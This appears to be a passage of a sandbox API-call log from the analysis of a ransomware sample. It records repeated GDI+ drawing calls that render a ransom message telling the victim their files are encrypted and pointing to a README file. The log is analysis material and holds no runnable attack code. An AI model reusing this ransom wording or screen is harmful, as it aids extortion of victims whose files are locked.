[0159.858] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.859] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.859] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.859] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x22118f0) returned 0x0 [0159.859] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.859] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.859] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.859] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.859] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.860] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.860] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211968) returned 0x0 [0159.860] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.860] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.860] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.860] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.860] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.860] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.860] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x22119e0) returned 0x0 [0159.861] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.861] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.861] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.861] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.861] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.861] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.861] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211a58) returned 0x0 [0159.861] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.862] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.862] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.862] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.862] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.862] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.862] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211ad0) returned 0x0 [0159.862] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.862] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.862] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.863] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.863] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.863] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.863] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211b48) returned 0x0 [0159.863] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.863] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.863] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.864] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.864] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.864] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.864] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211bc0) returned 0x0 [0159.864] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.864] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.864] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.865] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.865] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.865] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.865] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211c38) returned 0x0 [0159.865] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.865] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.865] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.866] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.866] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.866] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.866] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211cb0) returned 0x0 [0159.866] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.866] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.866] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.867] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.867] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.867] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.867] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211d28) returned 0x0 [0159.867] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.867] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.867] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.868] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.868] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.868] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.868] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211da0) returned 0x0 [0159.868] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.868] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.868] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.869] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.869] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.869] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.869] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211e18) returned 0x0 [0159.869] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.869] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.869] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.870] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.870] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.870] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.870] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211e90) returned 0x0 [0159.870] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.870] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.870] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.871] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.871] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.871] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.871] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211f08) returned 0x0 [0159.871] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.871] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.871] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.872] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.872] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.872] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.872] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211f80) returned 0x0 [0159.872] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.872] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.872] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.873] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.873] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.873] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.873] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211ff8) returned 0x0 [0159.873] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.873] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.873] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.874] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.874] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.874] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.874] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212070) returned 0x0 [0159.874] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.874] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.874] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.875] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.875] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.875] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.875] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x22120e8) returned 0x0 [0159.875] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.875] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.875] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.876] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.876] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.876] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.876] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212160) returned 0x0 [0159.876] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.876] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.876] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.877] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.877] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.877] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.877] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x22121d8) returned 0x0 [0159.877] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.877] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.877] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.878] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.878] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.878] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.878] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212250) returned 0x0 [0159.878] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.878] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.878] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.879] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.879] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.879] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.879] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x22122c8) returned 0x0 [0159.879] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.879] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.879] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.880] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.880] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.880] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.880] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212340) returned 0x0 [0159.880] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.880] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.880] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.881] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.881] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.881] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.881] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x22123b8) returned 0x0 [0159.881] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.881] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.881] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.882] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.882] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.882] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.882] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212430) returned 0x0 [0159.882] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.882] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.882] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.883] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.883] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.883] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.883] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x22124a8) returned 0x0 [0159.883] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.883] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.883] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.884] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.884] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.884] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.884] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212520) returned 0x0 [0159.884] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.884] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.884] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.885] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.885] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.885] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.885] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212598) returned 0x0 [0159.885] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.885] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.885] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.886] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.886] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.886] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.886] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212610) returned 0x0 [0159.886] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.886] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.886] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.887] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.887] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.887] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.887] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212688) returned 0x0 [0159.887] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.887] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.887] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.888] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.888] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.888] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.888] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212700) returned 0x0 [0159.888] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.888] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.888] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.889] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.889] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.889] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.889] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2212778) returned 0x0 [0159.889] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.889] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.889] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted 